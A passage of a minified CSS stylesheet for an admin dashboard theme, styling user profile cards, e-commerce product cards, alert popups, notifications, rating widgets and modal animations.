} .user-card-3.social-hover .social-top-link .btn:nth-child(9), .user-card-3.social-hover .social-top-link li:nth-child(9) { transition-delay: 0.45s; } .user-card-3.social-hover .social-top-link .btn:nth-child(10), .user-card-3.social-hover .social-top-link li:nth-child(10) { transition-delay: 0.5s; } .user-card-3.social-hover:hover .social-top-link .btn, .user-card-3.social-hover:hover .social-top-link li { margin-left: 0; } .user-profile { margin-top: -45px; margin-left: -30px; margin-right: -30px; background: #fff; } .user-profile .card-body { position: relative; z-index: 1; box-shadow: 0 2px 4px -2px rgba(54, 80, 138, 0.3); } .user-profile .card-body .overlay > span { cursor: pointer; } .user-profile .cover-img-block:hover > img { filter: grayscale(1) blur(1px); } .user-profile .profile-dp .overlay { text-align: left; } .user-profile .user-about-block .certificated-badge { bottom: 8px; right: 0; z-index: 2; } .user-profile .profile-tabs { border-bottom: 0; margin-top: 30px; } .user-profile .profile-tabs .nav-item { margin-bottom: -0px; } .user-profile .profile-tabs .nav-item .nav-link { position: relative; } .user-profile .profile-tabs .nav-item .nav-link:after { content: ""; background: #51459d; position: absolute; transition: all 0.3s ease-in-out; left: 50%; right: 50%; bottom: -1px; height: 2px; border-radius: 2px 2px 0 0; } .user-profile .profile-tabs .nav-link:hover { border-color: transparent; } .user-profile .profile-tabs .nav-item.show .nav-link, .user-profile .profile-tabs .nav-link.active { border-color: transparent; } .user-profile .profile-tabs .nav-item.show .nav-link:after, .user-profile .profile-tabs .nav-link.active:after { left: 0; right: 0; } @media only screen and (max-width: 575px) { .user-profile { margin-top: -30px; margin-left: -15px; margin-right: -15px; } } .user-profile-list { background: transparent; box-shadow: none; } .user-profile-list table { border-spacing: 0 10px; border-collapse: separate; width: calc(100% - 10px); margin: 0 5px; } .user-profile-list table tbody tr { box-shadow: none; border-radius: 10px; position: relative; } .user-profile-list table tbody tr .overlay-edit { position: absolute; opacity: 0; top: 0; right: 0; background: #51459d; bottom: 0; left: 0; display: flex; align-items: center; justify-content: center; } .user-profile-list table tbody tr .overlay-edit .btn { margin: 0 3px; width: 35px; height: 35px; display: inline-flex; align-items: center; justify-content: center; } .user-profile-list table tbody tr:hover { box-shadow: 0 0 6px 0 #51459d; } .user-profile-list table tbody tr:hover td { cursor: pointer; color: #fff; background: #51459d; } .user-profile-list table tbody tr:hover td h6, .user-profile-list table tbody tr:hover td .h6 { color: #fff; } .user-profile-list table tbody tr:hover td .overlay-edit { opacity: 1; } .user-profile-list table tr td, .user-profile-list table tr th { vertical-align: middle; border: none; } .user-profile-list table tr td { background: #fff; position: relative; } .user-profile-list table tr td:first-child { border-top-left-radius: 10px; border-bottom-left-radius: 10px; } .user-profile-list table tr td:last-child { border-top-right-radius: 10px; border-bottom-right-radius: 10px; } .list-pills.nav-pills .nav-link.active, .list-pills.nav-pills .show > .nav-link { color: #51459d; border-color: rgba(0, 0, 0, 0.125); background: #22232b; } .list-pills.nav-pills .nav-link.active .h5, .list-pills.nav-pills .nav-link.active .h6, .list-pills.nav-pills .show > .nav-link .h5, .list-pills.nav-pills .show > .nav-link .h6 { color: #51459d; } .widget-profile-card-1 { position: relative; margin-bottom: 50px; } .widget-profile-card-1 .middle-user { position: absolute; left: 0; right: 0; width: 100%; margin: 0 auto; text-align: center; bottom: -60px; } .widget-profile-card-1 .middle-user img { width: 115px; border-radius: 50%; } .widget-profile-card-1 ~ .card-footer [class*=col-] { border-right: 1px solid #fff; } .widget-profile-card-1 ~ .card-footer [class*=col-]:last-child { border: none; } @media only screen and (max-width: 767px) { .widget-profile-card-1 ~ .card-footer [class*=col-]:nth-child(2) { border: 0; } .widget-profile-card-1 ~ .card-footer [class*=col-]:last-child { margin-top: 10px; } } .widget-profile-card-2 img.user-img { width: 115px; } .widget-profile-card-2 a { color: #fff; transition: all ease-in 0.3s; } .widget-profile-card-2 a:hover { opacity: 0.7; } .widget-profile-card-3 { background-image: url("../images/widget/slider5.jpg"); background-size: cover; padding: 50px 0; text-align: center; } .widget-profile-card-3 img { width: 120px; border-radius: 50%; } .social-res-card .progress { height: 6px; } .profile-card { position: relative; min-height: 410px; overflow: hidden; } .profile-card img { width: 100%; position: absolute; top: 0; left: 0; } .profile-card .card-body { text-align: center; color: #fff; position: absolute; bottom: 0; text-align: center; width: 100%; background: linear-gradient(transparent, rgba(0, 0, 0, 0.72)); } .profile-card .card-body h3, .profile-card .card-body .h3 { font-weight: 600; } .profile-card ~ .card-footer [class*="col-"] { padding: 10px; border-right: 1px solid rgba(255, 255, 255, 0.57); } .profile-card ~ .card-footer [class*="col-"] h4, .profile-card ~ .card-footer [class*="col-"] .h4 { font-size: 18px; font-weight: 600; } .profile-card ~ .card-footer [class*="col-"]:last-child { border: none; } .profile-card ~ .card-footer [class*="col-"] span { text-transform: uppercase; } @media only screen and (max-width: 767px) { .profile-card ~ .card-footer [class*="col-"]:nth-child(2) { border: none; } } .blur-user-card { color: #fff; text-align: center; padding-top: 45px; background-image: url("../images/widget/blur-bg.png"); background-size: cover; } .blur-user-card h3, .blur-user-card .h3 { margin-top: 10px; font-size: 30px; font-weight: 600; } .blur-user-card p { font-size: 18px; font-weight: 300; } .blur-user-card .blur-footer [class*="col-"] { padding: 1em; border-right: 1px solid #fff; margin-top: 30px; margin-bottom: 30px; } .blur-user-card .blur-footer [class*="col-"]:last-child { border-right: none; } @media only screen and (max-width: 767px) { .blur-user-card .blur-footer [class*="col-"]:nth-child(2) { border: 0; } .blur-user-card .blur-footer [class*="col-"]:last-child { margin-top: 0; padding-top: 0; } } .skill-mlt-select + .select2-container { display: block; } /**====== user card css end ======**/ /** ===================== e-commerce css start ========================== **/ .prod-likes { position: relative; padding: 0; } .prod-likes .prod-likes-icon { stroke: rgba(128, 129, 145, 0.5); fill: rgba(128, 129, 145, 0.2); z-index: 3; } .prod-likes .form-check-input { width: 20px; height: 20px; margin: 0; position: absolute; top: 0; left: 0; opacity: 0; z-index: 5; cursor: pointer; } .prod-likes .form-check-input:checked + .prod-likes-icon { stroke: #ff3a6e; fill: rgba(255, 58, 110, 0.8); animation: _26Tc6u 0.2s ease 0.3s forwards; } .product-sticky { top: calc(70px + 60px); } #checkoutaddress .form-check .h-nonchecked { display: none; } #checkoutaddress .form-check .form-check-input:checked + .form-check-label .h-nonchecked { display: block; } .ecomm-desc-btn { margin-left: -25px; margin-right: -25px; } .e-comm-card { overflow: hidden; } .e-comm-card .prod-content { transition: all 0.2s ease-in-out; background: #292A33; } .e-comm-card .prod-content .h-data { position: absolute; top: calc(100% - 5px); } .e-comm-card:hover .prod-content { transform: translateY(-70px); } .filter-data { position: relative; } .filter-data .overlay-div { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: rgba(41, 42, 51, 0.8); padding: 100px 0; text-align: center; } .dash-like { position: absolute; z-index: 1; top: -5px; left: 10px; } .dash-like .dash-dots:nth-child(4):before { transform: translate3d(-4px, -5px, 0); } .dash-like .dash-dots:nth-child(4):after { transform: translate3d(4px, -5px, 0) scale(0.7); } .dash-like .dash-dots:nth-child(3):before { transform: translate3d(-5px, -4px, 0); } .dash-like .dash-dots:nth-child(3):after { transform: translate3d(-5px, 4px, 0) scale(0.7); } .dash-like .dash-dots:nth-child(2):before { transform: translate3d(-4px, 5px, 0); } .dash-like .dash-dots:nth-child(2):after { transform: translate3d(4px, 5px, 0) scale(0.7); } .dash-like .dash-dots:first-child:before { transform: translate3d(5px, -4px, 0); } .dash-like .dash-dots:first-child:after { transform: translate3d(5px, 4px, 0) scale(0.7); } .dash-like .dash-dots:after { background: #ff3a6e; } .dash-like .dash-dots:before { background: #ffa21d; } .dash-like .like-wrapper { position: relative; display: inline-flex; } .dash-like .dash-group { position: absolute; top: 50%; left: 50%; opacity: 0; } .dash-like .dash-dots:after, .dash-like .dash-dots:before { content: ""; position: absolute; width: 5px; height: 5px; margin: -2px; border-radius: 50%; } .dash-like.dash-like-animate .dash-dots:first-child:after { animation: _3z13ic 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(4):before { animation: u9Mhrv 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(4):after { animation: _2ERa1V 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(3):before { animation: _3TtatR 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(3):after { animation: _3UC1np 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(2):before { animation: _33IoP_ 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(2):after { animation: _2D5htx 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-group { animation: r9OBmc 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:first-child:before { animation: _18Xo9B 0.6s ease 0.3s; } @keyframes _26Tc6u { 0% { transform: translateZ(0) scale(0); } 40% { transform: translateZ(0) scale(1.2); } to { transform: translateZ(0) scale(1); } } @keyframes _3d25CI { 0% { transform: translateZ(0) scale(0); opacity: 1; } to { transform: translateZ(0) scale(1); opacity: 0; } } @keyframes r9OBmc { 0% { opacity: 0; } 50% { opacity: 1; } to { opacity: 0; } } @keyframes _18Xo9B { to { transform: translate3d(22px, -4px, 0); } } @keyframes _3z13ic { to { transform: translate3d(14px, 4px, 0) scale(0.7); } } @keyframes _33IoP_ { to { transform: translate3d(-4px, 22px, 0); } } @keyframes _2D5htx { to { transform: translate3d(4px, 18px, 0) scale(0.7); } } @keyframes _3TtatR { to { transform: translate3d(-22px, -4px, 0); } } @keyframes _3UC1np { to { transform: translate3d(-18px, 4px, 0) scale(0.7); } } @keyframes u9Mhrv { to { transform: translate3d(-4px, -22px, 0); } } @keyframes _2ERa1V { to { transform: translate3d(4px, -18px, 0) scale(0.7); } } /**====== e-commerce css end ======**/ .swal-icon--error { border-color: #ff3a6e; } .swal-icon--error__line { background-color: #ff3a6e; } .swal-icon--warning { border-color: #ffa21d; } .swal-icon--warning__body { background-color: #ffa21d; } .swal-icon--warning__dot { background-color: #ffa21d; } @keyframes pulseWarning { 0% { border-color: #ffac37; } to { border-color: #ffa21d; } } .swal-icon--success { border-color: #6fd943; } .swal-icon--success__ring { border: 4px solid rgba(111, 217, 67, 0.2); } .swal-icon--success__line { background-color: #6fd943; } .swal-icon--info { border-color: #3ec9d6; } .swal-icon--info:after, .swal-icon--info:before { background-color: #3ec9d6; } .swal-title { color: rgba(0, 0, 0, 0.65); } .swal-text { color: rgba(0, 0, 0, 0.64); } .swal-button { background-color: #51459d; margin: 0 10px; } .swal-button:not([disabled]):hover { background-color: darkslateblue; } .swal-button:active { background-color: darkslateblue; } .swal-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(81, 69, 157, 0.29); } .swal-button--cancel { color: #555; background-color: #efefef; margin: 0 10px; } .swal-button--cancel:not([disabled]):hover { background-color: #e8e8e8; } .swal-button--cancel:active { background-color: #d7d7d7; } .swal-button--cancel:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(116, 136, 150, 0.29); } .swal-button--danger { background-color: #ff3a6e; margin: 0 10px; } .swal-button--danger:not([disabled]):hover { background-color: #ff215b; } .swal-button--danger:active { background-color: #ff215b; } .swal-button--danger:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(255, 58, 110, 0.29); } .swal-footer { text-align: center; } .swal-content__input:focus { border-color: rgba(81, 69, 157, 0.29); } .swal-content__textarea:focus { border-color: rgba(81, 69, 157, 0.29); } .swal2-popup.swal2-toast .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4); } .swal2-popup.swal2-toast .swal2-success { border-color: #6fd943 !important; } .swal2-loader { border-color: #51459d transparent #51459d transparent !important; } .swal2-styled.swal2-confirm { background-color: #51459d !important; } .swal2-styled.swal2-deny { background-color: #ff3a6e !important; } .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(81, 69, 157, 0.4) !important; } .swal2-close:hover { color: #ff3a6e !important; } .swal2-content { color: #545454; } .swal2-file, .swal2-input, .swal2-textarea { border: 1px solid #d9d9d9; } .swal2-file.swal2-inputerror, .swal2-input.swal2-inputerror, .swal2-textarea.swal2-inputerror { border-color: #ff3a6e !important; box-shadow: 0 0 2px #ff3a6e !important; } .swal2-file:focus, .swal2-input:focus, .swal2-textarea:focus { border: 1px solid #b4dbed; box-shadow: 0 0 3px #c4e6f5; } .swal2-validation-message { background: #f0f0f0; color: #666; } .swal2-validation-message::before { background-color: #ff3a6e; } .swal2-icon.swal2-error { border-color: #ff87a6 !important; color: #ff3a6e !important; } .swal2-icon.swal2-error [class^=swal2-x-mark-line] { background-color: #ff3a6e !important; } .swal2-icon.swal2-warning { border-color: #ffc16a !important; color: #ffa21d !important; } .swal2-icon.swal2-info { border-color: #7ddbe3 !important; color: #3ec9d6 !important; } .swal2-icon.swal2-question { border-color: #9b7cd4 !important; color: #6f42c1 !important; } .swal2-icon.swal2-success { border-color: #a0e683 !important; color: #6fd943 !important; } .swal2-icon.swal2-success .swal2-success-ring { border: 0.25em solid rgba(111, 217, 67, 0.3) !important; } .swal2-icon.swal2-success [class^=swal2-success-line] { background-color: #6fd943 !important; } .swal2-progress-steps .swal2-progress-step { background: #51459d; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step { background: #51459d; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step { background: #3ec9d6; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step-line { background: #3ec9d6; } .swal2-progress-steps .swal2-progress-step-line { background: #51459d; } .swal2-actions .btn { margin: 0 10px; } .lb-cancel { background: url("../images/loading.gif") no-repeat; } .lb-nav a.lb-prev { background: url("../images/prev.png") left 48% no-repeat; } .lb-nav a.lb-next { background: url("../images/next.png") right 48% no-repeat; } .lb-data .lb-caption a { color: #51459d; } .lb-data .lb-close { background: url("../images/close.png") top right no-repeat; } .alert-dismissable .close, .alert-dismissible .close { color: inherit; text-shadow: none; } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .alert-inverse { background-color: #333; border-color: transparent; color: #fff; } .alert-inverse .close { position: relative; top: -2px; right: -21px; color: #fff; text-shadow: none; } .alert-inverse .alert-link { color: #e6e6e6; } .growl-animated.alert-inverse { box-shadow: 0 0 5px rgba(51, 51, 51, 0.5); } .growl-animated.alert-info { box-shadow: 0 0 5px rgba(81, 69, 157, 0.5); } .growl-animated.alert-success { box-shadow: 0 0 5px rgba(111, 217, 67, 0.5); } .growl-animated.alert-warning { box-shadow: 0 0 5px rgba(255, 162, 29, 0.5); } .growl-animated.alert-danger { box-shadow: 0 0 5px rgba(255, 58, 110, 0.5); } [data-notify="progressbar"] { margin-bottom: 0; position: absolute; bottom: 0; left: 0; width: 100%; height: 5px; } .notifier-container { z-index: 1029; font-family: "Open Sans", sans-serif; width: 400px; max-width: 98%; top: 15px; } .notifier { padding: calc(25px - 5px) calc(25px - 5px); border-radius: 10px; } .notifier .notifier-title { font-size: 16px; font-weight: 500; margin-bottom: 2px; } .notifier .notifier-body { font-size: 0.875rem; } .notifier .notifier-img .img { width: 40px; height: 40px; } .notifier .notifier-close:focus, .notifier .notifier-close:hover { color: #ff3a6e; background: transparent; } .notifier.primary { border-left-color: #51459d; } .notifier.secondary { border-left-color: #6c757d; } .notifier.success { border-left-color: #6fd943; } .notifier.info { border-left-color: #3ec9d6; } .notifier.warning { border-left-color: #ffa21d; } .notifier.danger { border-left-color: #ff3a6e; } .notifier.light { border-left-color: #f8f9fa; } .notifier.dark { border-left-color: #1c232f; } [ui-pnotify].ui-pnotify .brighttheme { border-radius: 0; } [ui-pnotify].ui-pnotify .brighttheme.ui-pnotify-container { padding: 1.3rem; } [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-confirm, [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-text, [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-title { margin-left: 1.8rem; } [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-confirm, [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-text, [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-title { margin-right: 1.8rem; margin-left: 0; } [ui-pnotify].ui-pnotify .brighttheme-icon-notice:after { content: "!"; } [ui-pnotify].ui-pnotify .brighttheme-icon-info:after { content: "i"; } [ui-pnotify].ui-pnotify .brighttheme-icon-success:after { content: "\002713"; } [ui-pnotify].ui-pnotify .brighttheme-icon-error:after { content: "!"; } [ui-pnotify].ui-pnotify .brighttheme-icon-closer:after { content: "\002715"; } [ui-pnotify].ui-pnotify .brighttheme-icon-sticker:after { top: -1px; content: "\002016"; } [ui-pnotify].ui-pnotify .brighttheme-icon-sticker.brighttheme-icon-stuck:after { content: "\00003E"; } [data-pnotify].custom-elem { font-family: Arial, Helvetica, sans-serif; font-size: 10pt; line-height: 1.1; } [data-pnotify] .custom-container { background-color: #404040; background-image: none; border: none; border-radius: 10px; padding: 15px; font-size: 15px; } [data-pnotify] .custom-title, [data-pnotify] .custom-text { margin-left: 50px; color: #FFF; } [data-pnotify] .custom-title { font-weight: bold; font-size: 15px; } [data-pnotify] .custom-icon { color: #FFA; } .br-theme-bars-1to10 .br-widget a { background-color: #ffe1b6; } .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected { background-color: #ffa21d; } .br-theme-bars-1to10 .br-widget .br-current-rating { color: #ffa21d; } .br-theme-bars-1to10 .br-readonly a.br-active, .br-theme-bars-1to10 .br-readonly a.br-selected { background-color: #ffa21d; } .br-theme-bars-1to10 .br-readonly .br-current-rating { color: #ffcc83; } .br-theme-bars-horizontal .br-widget a { background-color: #ffe1b6; } .br-theme-bars-horizontal .br-widget a.br-active, .br-theme-bars-horizontal .br-widget a.br-selected { background-color: #ffa21d; } .br-theme-bars-horizontal .br-widget .br-current-rating { color: #ffa21d; } .br-theme-bars-horizontal .br-readonly a.br-active, .br-theme-bars-horizontal .br-readonly a.br-selected { background-color: #ffe1b6; } .br-theme-bars-horizontal .br-readonly .br-current-rating { color: #ffe1b6; } .br-theme-bars-movie .br-widget { height: auto; } .br-theme-bars-movie .br-widget a { background-color: #aba4d7; } .br-theme-bars-movie .br-widget a.br-active, .br-theme-bars-movie .br-widget a.br-selected { background-color: #51459d; } .br-theme-bars-movie .br-widget .br-current-rating { color: #51459d; } .br-theme-bars-movie .br-readonly a.br-active, .br-theme-bars-movie .br-readonly a.br-selected { background-color: #8a81c7; } .br-theme-bars-movie .br-readonly .br-current-rating { color: #8a81c7; } .br-theme-bars-pill .br-widget a { background-color: white; color: #6fd943; } .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected { background-color: #6fd943; } .br-theme-bars-pill .br-readonly a.br-active, .br-theme-bars-pill .br-readonly a.br-selected { background-color: #8fe26d; } .br-theme-bars-reversed .br-widget a { background-color: #fbfefe; color: #3ec9d6; } .br-theme-bars-reversed .br-widget a.br-active, .br-theme-bars-reversed .br-widget a.br-selected { background-color: #3ec9d6; } .br-theme-bars-reversed .br-widget .br-current-rating { color: #3ec9d6; width: 100%; padding: 0; margin-top: 15px; } .br-theme-bars-reversed .br-readonly a.br-active, .br-theme-bars-reversed .br-readonly a.br-selected { background-color: #68d5df; } .br-theme-bars-reversed .br-readonly .br-current-rating { color: #68d5df; } .br-theme-bars-square .br-widget a { border: 2px solid #ffbacc; color: #ffbacc; } .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected { border: 2px solid #ff3a6e; color: #ff3a6e; } .br-theme-bars-square .br-readonly a.br-active, .br-theme-bars-square .br-readonly a.br-selected { border: 2px solid #ff6d94; color: #ff6d94; } .br-theme-bootstrap-stars .br-widget a:after { color: #1b1d23; } .br-theme-bootstrap-stars .br-widget a.br-active:after, .br-theme-bootstrap-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-css-stars .br-widget a:after { color: #1b1d23; } .br-theme-css-stars .br-widget a.br-active:after, .br-theme-css-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-fontawesome-stars .br-widget a { font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 18px; } .br-theme-fontawesome-stars .br-widget a:after { content: "\f005"; color: #1b1d23; } .br-theme-fontawesome-stars .br-widget a.br-active:after, .br-theme-fontawesome-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-fontawesome-stars-o .br-widget a { font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 18px; } .br-theme-fontawesome-stars-o .br-widget a:after { content: "\f005"; color: #1b1d23; } .br-theme-fontawesome-stars-o .br-widget a.br-active:after, .br-theme-fontawesome-stars-o .br-widget a.br-selected:after { color: #6fd943; } .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after { content: "\f5c0"; color: #6fd943; } .modal.fade.modal-animate { /* Effect 1: Fade in and scale up */ /* Effect 2: Slide from the right */ /* Effect 3: Slide from the bottom */ /* Effect 4: Newspaper */ /* Effect 5: fall */ /* Effect 6: side fall */ /* Effect 7: slide and stick to top */ /* Effect 8: 3D flip horizontal */ /* Effect 9: 3D flip vertical */ /* Effect 10: 3D sign */ /* Effect 11: Super scaled */ /* Effect 12: Just me */ /* Effect 13: 3D slit */ /* Effect 14: 3D Rotate from bottom */ /* Effect 15: 3D Rotate in from left */ /* Effect 16: Blur */ /* Effect 17: Slide in from bottom with perspective on container */ /* Effect 18: Slide from right with perspective on container */ /* Effect 19: Slip in from the top with perspective on container */ } .modal.fade.modal-animate .modal-dialog { display: flex; align-items: center; height: calc(100% - 3.5rem); } .modal.fade.modal-animate.anim-fade-in-scale .modal-dialog { transform: scale(0.7); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-fade-in-scale.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-slide-in-right .modal-dialog { transform: translateX(20%); opacity: 0; transition: all 0.3s cubic-bezier(0.25, 0.5, 0.5, 0.9); } .modal.fade.modal-animate.anim-slide-in-right.show .modal-dialog { transform: translateX(0); opacity: 1; } .modal.fade.modal-animate.anim-slide-in-bottom .modal-dialog { transform: translateY(20%); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-slide-in-bottom.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-newspaper .modal-dialog { transform: scale(0) rotate(720deg); opacity: 0; transition: all 0.5s; } .modal.fade.modal-animate.anim-newspaper.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-fall { perspective: 1300px; } .modal.fade.modal-animate.anim-fall .modal-dialog { transform-style: preserve-3d; transform: translateZ(600px) rotateX(20deg); opacity: 0; transition: all 0.5s; } .modal.fade.modal-animate.anim-fall.show .modal-dialog { transition: all 0.3s ease-in; transform: translateZ(0px) rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-side-fall { perspective: 1300px; } .modal.fade.modal-animate.anim-side-fall .modal-dialog { transform-style: preserve-3d; transform: translate(30%) translateZ(600px) rotate(10deg); opacity: 0; transition: all 0.3s ease-in; } .modal.fade.modal-animate.anim-side-fall.show .modal-dialog { transform: translate(0%) translateZ(0) rotate(0deg); opacity: 1; } .modal.fade.modal-animate.anim-sticky-up .modal-dialog { align-items: flex-start; margin-top: 0; transform: translateY(-200%); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-sticky-up.show .modal-dialog { transform: translateY(0%); border-radius: 0 0 3px 3px; opacity: 1; } .modal.fade.modal-animate.anim-3d-flip-horizontal { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-flip-horizontal .modal-dialog { transform-style: preserve-3d; transform: rotateY(-70deg); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-3d-flip-horizontal.show .modal-dialog { transform: rotateY(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-flip-vertical { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-flip-vertical .modal-dialog { transform-style: preserve-3d; transform: rotateX(-70deg); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-3d-flip-vertical.show .modal-dialog { transform: rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-sign { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-sign .modal-dialog { transform-style: preserve-3d; transform: rotateX(-60deg); transform-origin: 50% 0; opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-3d-sign.show .modal-dialog { transform: rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-super-scaled .modal-dialog { transform: scale(2); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-super-scaled.show .modal-dialog { transform: scale(1); opacity: 1; } .modal.fade.modal-animate.anim-just-me { background: #fff; } .modal.fade.modal-animate.anim-just-me .modal-dialog { transform: scale(0.8); opacity: 0; transition: all 0.3s; background: transparent; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content { border: none; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header { background: transparent !important; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header .btn-close.btn-close-white { filter: none; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header .text-white.modal-title { color: #525b69 !important; } .modal.fade.modal-animate.anim-just-me.show .modal-dialog { transform: scale(1); opacity: 1; } .modal.fade.modal-animate.anim-3d-slit { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-slit .modal-dialog { transform-style: preserve-3d; transform: translateZ(-3000px) rotateY(90deg); opacity: 0; } .modal.fade.modal-animate.anim-3d-slit.show .modal-dialog { animation: slit 0.7s forwards ease-out; } .modal.fade.modal-animate.anim-3d-rotate-bottom { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-rotate-bottom .modal-dialog { transform-style: preserve-3d; transform: translateY(100%) rotateX(90deg); transform-origin: 0 100%; opacity: 0; transition: all 0.3s ease-out; } .modal.fade.modal-animate.anim-3d-rotate-bottom.show .modal-dialog { transform: translateY(0%) rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-rotate-InLeft { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-rotate-InLeft .modal-dialog { transform-style: preserve-3d; transform: translateZ(100px) translateX(-30%) rotateY(90deg); transform-origin: 0 100%; opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-3d-rotate-InLeft.show .modal-dialog { transform: translateZ(0px) translateX(0%) rotateY(0deg); opacity: 1; } .modal.fade.modal-animate.anim-blur { -webkit-backdrop-filter: blur(8px); backdrop-filter: blur(8px); } .modal.fade.modal-animate.anim-blur .modal-dialog { transform: scale(0.7); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-blur.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-let-me-in .modal-dialog { opacity: 0; transform: translateY(200%); transition: all 0.3s 0.2s; } .modal.fade.modal-animate.anim-let-me-in.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-make-way .modal-dialog { opacity: 0; transform: translateX(200%); transition: all 0.3s 0.2s; } .modal.fade.modal-animate.anim-make-way.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-slip-from-top .modal-dialog { opacity: 0; transform: translateY(-200%); transition: all 0.5s 0.1s; } .modal.fade.modal-animate.anim-slip-from-top.show .modal-dialog { transform: translateY(0); opacity: 1; } body { /* Effect 17: Slide in from bottom with perspective on container */ /* Effect 18: Slide from right with perspective on container */ /* Effect 19: Slip in from the top with perspective on container */ } body.anim-let-me-in { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-let-me-in .header-user-list, body.anim-let-me-in .page-header, body.anim-let-me-in .header-chat, body.anim-let-me-in .menu-styler { display: none; } body.anim-let-me-in .dash-sidebar, body.anim-let-me-in .dash-header, body.anim-let-me-in .dash-container, body.anim-let-me-in .modal-backdrop { transition: transform 0.3s; } body.anim-let-me-in.modal-open .dash-sidebar, body.anim-let-me-in.modal-open .dash-header, body.anim-let-me-in.modal-open .dash-container, body.anim-let-me-in.modal-open .modal-backdrop { transform: rotateX(-3deg); transform-origin: 50% 0%; transform-style: preserve-3d; } body.anim-make-way { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-make-way .header-user-list, body.anim-make-way .page-header, body.anim-make-way .header-chat, body.anim-make-way .menu-styler { display: none; } body.anim-make-way .dash-sidebar, body.anim-make-way .dash-header, body.anim-make-way .dash-container, body.anim-make-way .modal-backdrop { transition: all 0.5s; } body.anim-make-way.modal-open .dash-sidebar, body.anim-make-way.modal-open .dash-header, body.anim-make-way.modal-open .dash-container, body.anim-make-way.modal-open .modal-backdrop { transform-style: preserve-3d; transform-origin: 0% 50%; animation: rotateRightSideFirst 0.5s forwards ease-in; } body.anim-slip-from-top { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-slip-from-top .header-user-list, body.anim-slip-from-top .header-chat, body.anim-slip-from-top .page-header, body.anim-slip-from-top .menu-styler { display: none; } body.anim-slip-from-top .dash-sidebar, body.anim-slip-from-top .dash-header, body.anim-slip-from-top .dash-container, body.anim-slip-from-top .modal-backdrop { transition: all 0.5s; transform-style: preserve-3d; transform-origin: 50% 100%; animation: OpenTop 1.5s forwards ease-in; } body.anim-slip-from-top.modal-open .dash-header { opacity: 0; } @keyframes slit { 50% { transform: translateZ(-250px) rotateY(89deg); opacity: 1; animation-timing-function: ease-in; } 100% { transform: translateZ(0) rotateY(0deg); opacity: 1; } } @keyframes rotateRightSideFirst { 50% { transform: translateZ(-50px) rotateY(5deg); animation-timing-function: 